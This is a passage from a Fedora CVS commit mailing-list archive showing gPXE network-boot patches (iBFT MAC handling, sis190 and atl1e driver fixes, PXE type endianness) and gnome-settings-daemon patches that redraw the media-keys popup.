 b/src/include/gpxe/ethernet.h           |    1 
 b/src/include/gpxe/netdevice.h          |   19 +++++++---
 b/src/include/gpxe/pci.h                |    8 +++-
 b/src/net/80211/net80211.c              |    1 
 b/src/net/ethernet.c                    |   13 ++++++-
 b/src/net/udp/dhcp.c                    |    5 +-
 src/arch/i386/interface/pcbios/ibft.c   |   13 ++++---
 src/drivers/net/sis190.c                |    6 +--
 14 files changed, 119 insertions(+), 38 deletions(-)

--- NEW FILE gpxe-0.9.9-20091018.patch ---
>From 2549f586944b177a20da5fc1432aad3fb26ba487 Mon Sep 17 00:00:00 2001
From: Marty Connor <mdc at etherboot.org>
Date: Wed, 21 Oct 2009 15:09:11 -0400
Subject: [PATCH] [release] Update version to 0.9.9+ post release

---
 src/Makefile |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/Makefile b/src/Makefile
index d49b292..16759ca 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -130,7 +130,7 @@ install :
 VERSION_MAJOR	= 0
 VERSION_MINOR	= 9
 VERSION_PATCH	= 9
-EXTRAVERSION	=
+EXTRAVERSION	= +
 MM_VERSION	= $(VERSION_MAJOR).$(VERSION_MINOR)
 VERSION		= $(MM_VERSION).$(VERSION_PATCH)$(EXTRAVERSION)
 CFLAGS		+= -DVERSION_MAJOR=$(VERSION_MAJOR) \
-- 
1.6.0.6

>From d000c6b8c73211dbbf4388758e7ccd98564ed110 Mon Sep 17 00:00:00 2001
From: Michael Brown <mcb30 at etherboot.org>
Date: Fri, 23 Oct 2009 21:33:48 +0100
Subject: [PATCH] [iscsi] Fix printing of non-existent strings in iBFT debug messages

---
 src/arch/i386/interface/pcbios/ibft.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/src/arch/i386/interface/pcbios/ibft.c b/src/arch/i386/interface/pcbios/ibft.c
index 718b759..e0baaa2 100644
--- a/src/arch/i386/interface/pcbios/ibft.c
+++ b/src/arch/i386/interface/pcbios/ibft.c
@@ -236,7 +236,8 @@ static int ibft_set_string_option ( struct ibft_string_block *strings,
  */
 static const char * ibft_string ( struct ibft_string_block *strings,
 				  struct ibft_string *string ) {
-	return ( ( ( char * ) strings->table ) + string->offset );
+	return ( string->offset ?
+		 ( ( ( char * ) strings->table ) + string->offset ) : NULL );
 }
 
 /**
-- 
1.6.0.6

>From 1b1e63d54d7697c1fd156dcf365e74c7836d4d37 Mon Sep 17 00:00:00 2001
From: Michael Brown <mcb30 at etherboot.org>
Date: Fri, 23 Oct 2009 22:14:05 +0100
Subject: [PATCH] [netdevice] Add the concept of an "Ethernet-compatible" MAC address

The iBFT is Ethernet-centric in providing only six bytes for a MAC
address.  This is most probably an indirect consequence of a similar
design flaw in the Windows NDIS stack.  (The WinOF IPoIB stack
performs all sorts of contortions in order to pretend to the NDIS
layer that it is dealing with six-byte MAC addresses.)

There is no sensible way in which to extend the iBFT without breaking
compatibility with programs that expect to parse it.  Add the notion
of an "Ethernet-compatible" MAC address to our link layer abstraction,
so that link layers can provide their own workarounds for this
limitation.
---
 src/drivers/net/ipoib.c      |   57 ++++++++++++++++++++++++++++++++++++++++++
 src/include/gpxe/ethernet.h  |    1 +
 src/include/gpxe/netdevice.h |   19 +++++++++----
 src/net/80211/net80211.c     |    1 +
 src/net/ethernet.c           |   12 +++++++++
 5 files changed, 84 insertions(+), 6 deletions(-)

diff --git a/src/drivers/net/ipoib.c b/src/drivers/net/ipoib.c
index dde4ee5..260d2d0 100644
--- a/src/drivers/net/ipoib.c
+++ b/src/drivers/net/ipoib.c
@@ -296,6 +296,62 @@ static int ipoib_mc_hash ( unsigned int af __unused,
 	return -ENOTSUP;
 }
 
+/**
+ * Generate Mellanox Ethernet-compatible compressed link-layer address
+ *
+ * @v ll_addr		Link-layer address
+ * @v eth_addr		Ethernet-compatible address to fill in
+ */
+static int ipoib_mlx_eth_addr ( const struct ib_gid_half *guid,
+				uint8_t *eth_addr ) {
+	eth_addr[0] = ( ( guid->u.bytes[3] == 2 ) ? 0x00 : 0x02 );
+	eth_addr[1] = guid->u.bytes[1];
+	eth_addr[2] = guid->u.bytes[2];
+	eth_addr[3] = guid->u.bytes[5];
+	eth_addr[4] = guid->u.bytes[6];
+	eth_addr[5] = guid->u.bytes[7];
+	return 0;
+}
+
+/** An IPoIB Ethernet-compatible compressed link-layer address generator */
+struct ipoib_eth_addr_handler {
+	/** GUID byte 1 */
+	uint8_t byte1;
+	/** GUID byte 2 */
+	uint8_t byte2;
+	/** Handler */
+	int ( * eth_addr ) ( const struct ib_gid_half *guid,
+			     uint8_t *eth_addr );
+};
+
+/** IPoIB Ethernet-compatible compressed link-layer address generators */
+static struct ipoib_eth_addr_handler ipoib_eth_addr_handlers[] = {
+	{ 0x02, 0xc9, ipoib_mlx_eth_addr },
+};
+
+/**
+ * Generate Ethernet-compatible compressed link-layer address
+ *
+ * @v ll_addr		Link-layer address
+ * @v eth_addr		Ethernet-compatible address to fill in
+ */
+static int ipoib_eth_addr ( const void *ll_addr, void *eth_addr ) {
+	const struct ipoib_mac *ipoib_addr = ll_addr;
+	const struct ib_gid_half *guid = &ipoib_addr->gid.u.half[1];
+	struct ipoib_eth_addr_handler *handler;
+	unsigned int i;
+
+	for ( i = 0 ; i < ( sizeof ( ipoib_eth_addr_handlers ) /
+			    sizeof ( ipoib_eth_addr_handlers[0] ) ) ; i++ ) {
+		handler = &ipoib_eth_addr_handlers[i];
+		if ( ( handler->byte1 == guid->u.bytes[1] ) &&
+		     ( handler->byte2 == guid->u.bytes[2] ) ) {
+			return handler->eth_addr ( guid, eth_addr );
+		}
+	}
+	return -ENOTSUP;
+}
+
 /** IPoIB protocol */
 struct ll_protocol ipoib_protocol __ll_protocol = {
 	.name		= "IPoIB",
@@ -308,6 +364,7 @@ struct ll_protocol ipoib_protocol __ll_protocol = {
 	.init_addr	= ipoib_init_addr,
 	.ntoa		= ipoib_ntoa,
 	.mc_hash	= ipoib_mc_hash,
+	.eth_addr	= ipoib_eth_addr,
 };
 
 /**
diff --git a/src/include/gpxe/ethernet.h b/src/include/gpxe/ethernet.h
index 8cf6b1b..4dfc24d 100644
--- a/src/include/gpxe/ethernet.h
+++ b/src/include/gpxe/ethernet.h
@@ -15,6 +15,7 @@ extern void eth_init_addr ( const void *hw_addr, void *ll_addr );
 extern const char * eth_ntoa ( const void *ll_addr );
 extern int eth_mc_hash ( unsigned int af, const void *net_addr,
 			 void *ll_addr );
+extern int eth_eth_addr ( const void *ll_addr, void *eth_addr );
 extern struct net_device * alloc_etherdev ( size_t priv_size );
 
 #endif /* _GPXE_ETHERNET_H */
diff --git a/src/include/gpxe/netdevice.h b/src/include/gpxe/netdevice.h
index fd77d89..858d8e9 100644
--- a/src/include/gpxe/netdevice.h
+++ b/src/include/gpxe/netdevice.h
@@ -128,8 +128,8 @@ struct ll_protocol {
 	/**
 	 * Transcribe link-layer address
 	 *
-	 * @v ll_addr	Link-layer address
-	 * @ret string	Human-readable transcription of address
+	 * @v ll_addr		Link-layer address
+	 * @ret string		Human-readable transcription of address
 	 *
 	 * This method should convert the link-layer address into a
 	 * human-readable format.
@@ -141,13 +141,20 @@ struct ll_protocol {
 	/**
 	 * Hash multicast address
 	 *
-	 * @v af	Address family
-	 * @v net_addr	Network-layer address
-	 * @v ll_addr	Link-layer address to fill in
-	 * @ret rc	Return status code
+	 * @v af		Address family
+	 * @v net_addr		Network-layer address
+	 * @v ll_addr		Link-layer address to fill in
+	 * @ret rc		Return status code
 	 */
 	int ( * mc_hash ) ( unsigned int af, const void *net_addr,
 			    void *ll_addr );
+	/**
+	 * Generate Ethernet-compatible compressed link-layer address
+	 *
+	 * @v ll_addr		Link-layer address
+	 * @v eth_addr		Ethernet-compatible address to fill in
+	 */
+	int ( * eth_addr ) ( const void *ll_addr, void *eth_addr );
 	/** Link-layer protocol
 	 *
 	 * This is an ARPHRD_XXX constant, in network byte order.
diff --git a/src/net/80211/net80211.c b/src/net/80211/net80211.c
index 1fc983a..c3d9fc6 100644
--- a/src/net/80211/net80211.c
+++ b/src/net/80211/net80211.c
@@ -586,6 +586,7 @@ static struct ll_protocol net80211_ll_protocol __ll_protocol = {
 	.init_addr = eth_init_addr,
 	.ntoa = eth_ntoa,
 	.mc_hash = eth_mc_hash,
+	.eth_addr = eth_eth_addr,
 	.ll_proto = htons ( ARPHRD_ETHER ),	/* "encapsulated Ethernet" */
 	.hw_addr_len = ETH_ALEN,
 	.ll_addr_len = ETH_ALEN,
diff --git a/src/net/ethernet.c b/src/net/ethernet.c
index e8daf9f..79ed1dc 100644
--- a/src/net/ethernet.c
+++ b/src/net/ethernet.c
@@ -148,6 +148,17 @@ int eth_mc_hash ( unsigned int af, const void *net_addr, void *ll_addr ) {
 	}
 }
 
+/**
+ * Generate Ethernet-compatible compressed link-layer address
+ *
+ * @v ll_addr		Link-layer address
+ * @v eth_addr		Ethernet-compatible address to fill in
+ */
+int eth_eth_addr ( const void *ll_addr, void *eth_addr ) {
+	memcpy ( eth_addr, ll_addr, ETH_ALEN );
+	return 0;
+}
+
 /** Ethernet protocol */
 struct ll_protocol ethernet_protocol __ll_protocol = {
 	.name		= "Ethernet",
@@ -160,6 +171,7 @@ struct ll_protocol ethernet_protocol __ll_protocol = {
 	.init_addr	= eth_init_addr,
 	.ntoa		= eth_ntoa,
 	.mc_hash	= eth_mc_hash,
+	.eth_addr	= eth_eth_addr,
 };
 
 /**
-- 
1.6.0.6

>From 45044acea7422d976ff338ef3b82dda805c20bc5 Mon Sep 17 00:00:00 2001
From: Michael Brown <mcb30 at etherboot.org>
Date: Fri, 23 Oct 2009 22:18:04 +0100
Subject: [PATCH] [iscsi] Use the "Ethernet-compatible" MAC address in the iBFT

---
 src/arch/i386/interface/pcbios/ibft.c |   12 ++++++++----
 1 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/src/arch/i386/interface/pcbios/ibft.c b/src/arch/i386/interface/pcbios/ibft.c
index e0baaa2..adf8e6b 100644
--- a/src/arch/i386/interface/pcbios/ibft.c
+++ b/src/arch/i386/interface/pcbios/ibft.c
@@ -37,6 +37,7 @@ FILE_LICENCE ( BSD2 );
 #include <gpxe/acpi.h>
 #include <gpxe/in.h>
 #include <gpxe/netdevice.h>
+#include <gpxe/ethernet.h>
 #include <gpxe/dhcp.h>
 #include <gpxe/iscsi.h>
 #include <gpxe/ibft.h>
@@ -251,6 +252,7 @@ static const char * ibft_string ( struct ibft_string_block *strings,
 static int ibft_fill_nic ( struct ibft_nic *nic,
 			   struct ibft_string_block *strings,
 			   struct net_device *netdev ) {
+	struct ll_protocol *ll_protocol = netdev->ll_protocol;
 	struct in_addr netmask_addr = { 0 };
 	unsigned int netmask_count = 0;
 	int rc;
@@ -279,10 +281,12 @@ static int ibft_fill_nic ( struct ibft_nic *nic,
 	DBG ( "iBFT NIC subnet = /%d\n", nic->subnet_mask_prefix );
 
 	/* Extract values from net-device configuration */
-	memcpy ( nic->mac_address, netdev->ll_addr,
-		 sizeof ( nic->mac_address ) );
-	DBG ( "iBFT NIC MAC = %s\n",
-	      netdev->ll_protocol->ntoa ( nic->mac_address ) );
+	if ( ( rc = ll_protocol->eth_addr ( netdev->ll_addr,
+					    nic->mac_address ) ) != 0 ) {
+		DBG ( "Could not determine iBFT MAC: %s\n", strerror ( rc ) );
+		return rc;
+	}
+	DBG ( "iBFT NIC MAC = %s\n", eth_ntoa ( nic->mac_address ) );
 	nic->pci_bus_dev_func = netdev->dev->desc.location;
 	DBG ( "iBFT NIC PCI = %04x\n", nic->pci_bus_dev_func );
 
-- 
1.6.0.6

>From 107d641bd50080c52d7c0a97f6741fbac8979248 Mon Sep 17 00:00:00 2001
From: Thomas Miletich <thomas.miletich at gmail.com>
Date: Fri, 23 Oct 2009 16:54:59 +0200
Subject: [PATCH] [sis190] Make 'make allroms' happy.

Remove spaces in 3rd PCI_ROM field.

Debugged-by: Marty Connor <mdc at etherboot.org>
Reported-by: Giandomenico  De Tullio <ghisha at email.it>
Signed-off-by: Michael Brown <mcb30 at etherboot.org>
---
 src/drivers/net/sis190.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/drivers/net/sis190.c b/src/drivers/net/sis190.c
index c312034..b38aaa1 100644
--- a/src/drivers/net/sis190.c
+++ b/src/drivers/net/sis190.c
@@ -26,8 +26,8 @@ FILE_LICENCE ( GPL_ANY );
 #include "sis190.h"
 
 static struct pci_device_id sis190_pci_tbl[] = {
-	PCI_ROM (0x1039, 0x0190, "SiS 190", "SiS 190", 0),
-	PCI_ROM (0x1039, 0x0191, "SiS 191", "SiS 191", 0),
+	PCI_ROM (0x1039, 0x0190, "sis190", "sis190", 0),
+	PCI_ROM (0x1039, 0x0191, "sis191", "sis191", 0),
 };
 
 /******************************************************************************
-- 
1.6.0.6

>From cd647b7cf38f9d60f51c3b387505bf5d7b9bf765 Mon Sep 17 00:00:00 2001
From: Thomas Miletich <thomas.miletich at gmail.com>
Date: Sat, 24 Oct 2009 10:57:58 +0200
Subject: [PATCH] [sis190] Insert forgotten FILE_LICENCE() to sis190.h

Signed-off-by: Michael Brown <mcb30 at etherboot.org>
Modified-by: Michael Brown <mcb30 at etherboot.org>
---
 src/drivers/net/sis190.h |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/src/drivers/net/sis190.h b/src/drivers/net/sis190.h
index 2a80a8f..c6dac5b 100644
--- a/src/drivers/net/sis190.h
+++ b/src/drivers/net/sis190.h
@@ -1,7 +1,8 @@
-
 #ifndef __SIS190_H__
 #define __SIS190_H__
 
+FILE_LICENCE ( GPL_ANY );
+
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
-- 
1.6.0.6

>From 8912e24fdc6b74c59f420c4e345730a974708d2f Mon Sep 17 00:00:00 2001
From: Thomas Miletich <thomas.miletich at gmail.com>
Date: Fri, 23 Oct 2009 17:00:25 +0200
Subject: [PATCH] [sis190] Hide the ISA bridge's PCI IDs from parserom.pl

Signed-off-by: Michael Brown <mcb30 at etherboot.org>
Modified-by: Michael Brown <mcb30 at etherboot.org>
---
 src/drivers/net/sis190.c |    6 +++---
 src/include/gpxe/pci.h   |    7 ++++++-
 2 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/src/drivers/net/sis190.c b/src/drivers/net/sis190.c
index b38aaa1..5d0145a 100644
--- a/src/drivers/net/sis190.c
+++ b/src/drivers/net/sis190.c
@@ -42,9 +42,9 @@ static struct pci_device_id sis190_pci_tbl[] = {
  */
 
 static struct pci_device_id sis190_isa_bridge_tbl[] = {
-	PCI_ROM (0x1039, 0x0965, "", "", 0),
-	PCI_ROM (0x1039, 0x0966, "", "", 0),
-	PCI_ROM (0x1039, 0x0968, "", "", 0),
+	PCI_ID (0x1039, 0x0965, "", "", 0),
+	PCI_ID (0x1039, 0x0966, "", "", 0),
+	PCI_ID (0x1039, 0x0968, "", "", 0),
 };
 
 static int sis190_isa_bridge_probe(struct pci_device *pdev __unused,
diff --git a/src/include/gpxe/pci.h b/src/include/gpxe/pci.h
index da33eda..9ce894b 100644
--- a/src/include/gpxe/pci.h
+++ b/src/include/gpxe/pci.h
@@ -359,13 +359,18 @@ struct pci_driver {
  * PCI_ROM is used to build up entries in a struct pci_id array.  It
  * is also parsed by parserom.pl to generate Makefile rules and files
  * for rom-o-matic.
+ *
+ * PCI_ID can be used to generate entries without creating a
+ * corresponding ROM in the build process.
  */
-#define PCI_ROM( _vendor, _device, _name, _description, _data ) {	\
+#define PCI_ID( _vendor, _device, _name, _description, _data ) {	\
 	.vendor = _vendor,						\
 	.device = _device,						\
 	.name = _name,							\
 	.driver_data = _data						\
 }
+#define PCI_ROM( _vendor, _device, _name, _description, _data ) \
+	PCI_ID( _vendor, _device, _name, _description, _data )
 
 extern void adjust_pci_device ( struct pci_device *pci );
 extern unsigned long pci_bar_start ( struct pci_device *pci,
-- 
1.6.0.6

>From 858b5fd253b50ad662ab34ec5be86c3ee004ec2d Mon Sep 17 00:00:00 2001
From: Joshua Oreman <oremanj at rwcr.net>
Date: Fri, 23 Oct 2009 17:04:38 +0200
Subject: [PATCH] [atl1e] Fix compilation on gcc-4.4.1-2.fc11.i586.

Error message was:

[BUILD] bin/atl1e.oncc1: warnings being treated as errors
drivers/net/atl1e.c: In function 'atl1e_get_permanent_address':
drivers/net/atl1e.c:1326: error: dereferencing type-punned pointer will break strict-aliasing rules
make: *** [bin/atl1e.o] Error 1

Reported-by: Giandomenico  De Tullio <ghisha at email.it>
Signed-off-by: Michael Brown <mcb30 at etherboot.org>
Modified-by: Michael Brown <mcb30 at etherboot.org>
---
 src/drivers/net/atl1e.c |   17 +++++++++--------
 1 files changed, 9 insertions(+), 8 deletions(-)

diff --git a/src/drivers/net/atl1e.c b/src/drivers/net/atl1e.c
index 664eba0..6c0b050 100644
--- a/src/drivers/net/atl1e.c
+++ b/src/drivers/net/atl1e.c
@@ -1296,14 +1296,14 @@ void atl1e_hw_set_mac_addr(struct atl1e_hw *hw)
  */
 static int atl1e_get_permanent_address(struct atl1e_hw *hw)
 {
-	u32 addr[2];
+	union {
+		u32 dword[2];
+		u8 byte[8];
+	} hw_addr;
 	u32 i;
 	u32 twsi_ctrl_data;
 	u8  eth_addr[ETH_ALEN];
 
-	/* init */
-	addr[0] = addr[1] = 0;
-
 	if (!atl1e_check_eeprom_exist(hw)) {
 		/* eeprom exist */
 		twsi_ctrl_data = AT_READ_REG(hw, REG_TWSI_CTRL);
@@ -1320,10 +1320,11 @@ static int atl1e_get_permanent_address(struct atl1e_hw *hw)
 	}
 
 	/* maybe MAC-address is from BIOS */
-	addr[0] = AT_READ_REG(hw, REG_MAC_STA_ADDR);
-	addr[1] = AT_READ_REG(hw, REG_MAC_STA_ADDR + 4);
-	*(u32 *) &eth_addr[2] = swap32(addr[0]);
-	*(u16 *) &eth_addr[0] = swap16(*(u16 *)&addr[1]);
+	hw_addr.dword[0] = AT_READ_REG(hw, REG_MAC_STA_ADDR);
+	hw_addr.dword[1] = AT_READ_REG(hw, REG_MAC_STA_ADDR + 4);
+	for (i = 0; i < ETH_ALEN; i++) {
+		eth_addr[ETH_ALEN - i - 1] = hw_addr.byte[i];
+	}
 
 	memcpy(hw->perm_mac_addr, eth_addr, ETH_ALEN);
 	return 0;
-- 
1.6.0.6

>From 67015d10116d259d835f3be4611a8cba2f069e96 Mon Sep 17 00:00:00 2001
From: Joshua Oreman <oremanj at rwcr.net>
Date: Sun, 18 Oct 2009 18:59:19 -0400
Subject: [PATCH] [pxebs] Correct endianness of PXE type

The PXE type field is canonically little-endian, but the pxebs command
treats it as big-endian in converting the type number passed on the
command line to a field value to search against. Fix, to prevent the
necessity of incantations like "pxebs net0 1536" to select menu item #6.

Signed-off-by: Michael Brown <mcb30 at etherboot.org>
Modified-by: Michael Brown <mcb30 at etherboot.org>
---
 src/net/udp/dhcp.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/net/udp/dhcp.c b/src/net/udp/dhcp.c
index 5f74137..2483ec2 100644
--- a/src/net/udp/dhcp.c
+++ b/src/net/udp/dhcp.c
@@ -693,7 +693,7 @@ static int dhcp_pxebs_tx ( struct dhcp_session *dhcp,
 
 	DBGC ( dhcp, "DHCP %p PXEBS REQUEST to %s:%d for type %d\n",
 	       dhcp, inet_ntoa ( peer->sin_addr ), ntohs ( peer->sin_port ),
-	       ntohs ( dhcp->pxe_type ) );
+	       le16_to_cpu ( dhcp->pxe_type ) );
 
 	/* Set boot menu item */
 	menu_item.type = dhcp->pxe_type;
@@ -1363,7 +1363,7 @@ int start_pxebs ( struct job_interface *job, struct net_device *netdev,
 	fetch_ipv4_setting ( netdev_settings ( netdev ), &ip_setting,
 			     &dhcp->local.sin_addr );
 	dhcp->local.sin_port = htons ( BOOTPC_PORT );
-	dhcp->pxe_type = htons ( pxe_type );
+	dhcp->pxe_type = cpu_to_le16 ( pxe_type );
 	dhcp->timer.expired = dhcp_timer_expired;
 
 	/* Construct PXE boot server IP address lists */
-- 
1.6.0.6




From hadess at fedoraproject.org  Tue Oct 27 22:44:06 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 22:44:06 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/devel
	0001-Fix-bluriness-in-level-bar-and-popup.patch, NONE,
	1.1 0002-Use-a-rounded-instead-of-curved-rectangle.patch, NONE,
	1.1 0003-Improve-the-media-keys-overlay-design.patch, NONE,
	1.1 gnome-settings-daemon.spec, 1.127,
	1.128 0001-Bug-594617-Touchpad-left-handed-bug-fixes.patch, 1.1,
	NONE 0001-Update-gnome-volume-control-code.patch, 1.1,
	NONE composited-changed.patch, 1.1,
	NONE gnome-settings-daemon-2.26.0-support-touchpads.patch, 1.1,
	NONE locate-pointer-csw.patch, 1.1,
	NONE locate-pointer-process.patch, 1.1,
	NONE osd-rounded-rectangle.patch, 1.1,
	NONE osd-visual-refresh.patch, 1.1, NONE xklavier4.patch, 1.1, NONE
Message-ID: <20091027224406.1A2E011C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13926

Modified Files:
	gnome-settings-daemon.spec 
Added Files:
	0001-Fix-bluriness-in-level-bar-and-popup.patch 
	0002-Use-a-rounded-instead-of-curved-rectangle.patch 
	0003-Improve-the-media-keys-overlay-design.patch 
Removed Files:
	0001-Bug-594617-Touchpad-left-handed-bug-fixes.patch 
	0001-Update-gnome-volume-control-code.patch 
	composited-changed.patch 
	gnome-settings-daemon-2.26.0-support-touchpads.patch 
	locate-pointer-csw.patch locate-pointer-process.patch 
	osd-rounded-rectangle.patch osd-visual-refresh.patch 
	xklavier4.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
- Update from F-12 branch


0001-Fix-bluriness-in-level-bar-and-popup.patch:
 gsd-media-keys-window.c |   19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

--- NEW FILE 0001-Fix-bluriness-in-level-bar-and-popup.patch ---
>From fadc8f8aaa65eecc855350a1dea9cfc8c255620f Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Mon, 26 Oct 2009 14:55:55 +0000
Subject: [PATCH 1/3] Fix bluriness in level bar, and popup

By shifting the top-left coordinates by half a pixel, to match
the cairo grid.

This makes the outter border of the popup, as well as the
level bar's borders much sharper.

https://bugzilla.gnome.org/show_bug.cgi?id=567249
---
 plugins/media-keys/gsd-media-keys-window.c |   18 +++++++++++-------
 1 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
index 9306b92..f890344 100644
--- a/plugins/media-keys/gsd-media-keys-window.c
+++ b/plugins/media-keys/gsd-media-keys-window.c
@@ -610,7 +610,11 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
         GdkColor color;
         double   r, g, b;
 
-        x1 = width * percentage;
+        x0 += 0.5;
+        y0 += 0.5;
+        height = round (height) - 1;
+        width = round (width) - 1;
+        x1 = round ((width - 1) * percentage);
 
         /* bar background */
         color = GTK_WIDGET (window)->style->dark [GTK_STATE_NORMAL];
@@ -636,7 +640,7 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0, y0, x1, height);
+        cairo_rectangle (cr, x0 + 0.5, y0 + 0.5, x1, height - 1);
         cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
         cairo_fill (cr);
 }
@@ -659,15 +663,15 @@ draw_action_volume (GsdMediaKeysWindow *window,
 
         gtk_window_get_size (GTK_WINDOW (window), &window_width, &window_height);
 
-        icon_box_width = window_width * 0.65;
-        icon_box_height = window_height * 0.65;
+        icon_box_width = round (window_width * 0.65);
+        icon_box_height = round (window_height * 0.65);
         volume_box_width = icon_box_width;
-        volume_box_height = window_height * 0.05;
+        volume_box_height = round (window_height * 0.05);
 
         icon_box_x0 = (window_width - icon_box_width) / 2;
         icon_box_y0 = (window_height - icon_box_height - volume_box_height) / 2;
-        volume_box_x0 = icon_box_x0;
-        volume_box_y0 = icon_box_height + icon_box_y0;
+        volume_box_x0 = round (icon_box_x0);
+        volume_box_y0 = round (icon_box_height + icon_box_y0);
 
 #if 0
         g_message ("icon box: w=%f h=%f x0=%f y0=%f",
-- 
1.6.5.rc2


0002-Use-a-rounded-instead-of-curved-rectangle.patch:
 gsd-media-keys-window.c |  104 ++++++++++++++++++++++--------------------------
 1 file changed, 49 insertions(+), 55 deletions(-)

--- NEW FILE 0002-Use-a-rounded-instead-of-curved-rectangle.patch ---
>From dab2e6b44c57e14dd373adf04d4530bd5915f582 Mon Sep 17 00:00:00 2001
From: William Jon McCann <jmccann at redhat.com>
Date: Wed, 23 Sep 2009 20:23:31 -0400
Subject: [PATCH 2/3] Use a rounded instead of curved rectangle

---
 plugins/media-keys/gsd-media-keys-window.c |  101 +++++++++++++---------------
 1 files changed, 48 insertions(+), 53 deletions(-)

diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
index f890344..cffbe3e 100644
--- a/plugins/media-keys/gsd-media-keys-window.c
+++ b/plugins/media-keys/gsd-media-keys-window.c
@@ -260,59 +260,54 @@ gsd_media_keys_window_set_volume_level (GsdMediaKeysWindow *window,
 }
 
 static void
-curved_rectangle (cairo_t *cr,
-                  double   x0,
-                  double   y0,
-                  double   width,
-                  double   height,
-                  double   radius)
-{
-        double x1;
-        double y1;
-
-        x1 = x0 + width;
-        y1 = y0 + height;
-
-        if (!width || !height) {
-                return;
-        }
-
-        if (width / 2 < radius) {
-                if (height / 2 < radius) {
-                        cairo_move_to  (cr, x0, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x0 ,y0, x0, y0, (x0 + x1) / 2, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x1, y1, x1, y1, (x1 + x0) / 2, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, (y0 + y1) / 2);
-                } else {
-                        cairo_move_to  (cr, x0, y0 + radius);
-                        cairo_curve_to (cr, x0, y0, x0, y0, (x0 + x1) / 2, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, y0 + radius);
-                        cairo_line_to (cr, x1, y1 - radius);
-                        cairo_curve_to (cr, x1, y1, x1, y1, (x1 + x0) / 2, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, y1 - radius);
-                }
-        } else {
-                if (height / 2 < radius) {
-                        cairo_move_to  (cr, x0, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x0, y0, x0 , y0, x0 + radius, y0);
-                        cairo_line_to (cr, x1 - radius, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x1, y1, x1, y1, x1 - radius, y1);
-                        cairo_line_to (cr, x0 + radius, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, (y0 + y1) / 2);
-                } else {
-                        cairo_move_to  (cr, x0, y0 + radius);
-                        cairo_curve_to (cr, x0 , y0, x0 , y0, x0 + radius, y0);
-                        cairo_line_to (cr, x1 - radius, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, y0 + radius);
-                        cairo_line_to (cr, x1, y1 - radius);
-                        cairo_curve_to (cr, x1, y1, x1, y1, x1 - radius, y1);
-                        cairo_line_to (cr, x0 + radius, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, y1 - radius);
-                }
-        }
-
+rounded_rectangle (cairo_t* cr,
+                   gdouble  aspect,
+                   gdouble  x,
+                   gdouble  y,
+                   gdouble  corner_radius,
+                   gdouble  width,
+                   gdouble  height)
+{
+        gdouble radius = corner_radius / aspect;
+
+        cairo_move_to (cr, x + radius, y);
+
+        cairo_line_to (cr,
+                       x + width - radius,
+                       y);
+        cairo_arc (cr,
+                   x + width - radius,
+                   y + radius,
+                   radius,
+                   -90.0f * G_PI / 180.0f,
+                   0.0f * G_PI / 180.0f);
+        cairo_line_to (cr,
+                       x + width,
+                       y + height - radius);
+        cairo_arc (cr,
+                   x + width - radius,
+                   y + height - radius,
+                   radius,
+                   0.0f * G_PI / 180.0f,
+                   90.0f * G_PI / 180.0f);
+        cairo_line_to (cr,
+                       x + radius,
+                       y + height);
+        cairo_arc (cr,
+                   x + radius,
+                   y + height - radius,
+                   radius,
+                   90.0f * G_PI / 180.0f,
+                   180.0f * G_PI / 180.0f);
+        cairo_line_to (cr,
+                       x,
+                       y + radius);
+        cairo_arc (cr,
+                   x + radius,
+                   y + radius,
+                   radius,
+                   180.0f * G_PI / 180.0f,
+                   270.0f * G_PI / 180.0f);
         cairo_close_path (cr);
 }
 
@@ -799,7 +794,7 @@ on_expose_event (GtkWidget          *widget,
         cairo_paint (cr);
 
         /* draw a box */
-        curved_rectangle (cr, 0.5, 0.5, width-1, height-1, height / 10);
+        rounded_rectangle (cr, 1.0, 0.5, 0.5, height / 10, width-1, height-1);
         color = GTK_WIDGET (window)->style->bg [GTK_STATE_NORMAL];
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
-- 
1.6.5.rc2


0003-Improve-the-media-keys-overlay-design.patch:
 gsd-media-keys-window.c |   60 ++++++++++++++++++++++++++++++++++++------------
 1 file changed, 45 insertions(+), 15 deletions(-)

--- NEW FILE 0003-Improve-the-media-keys-overlay-design.patch ---
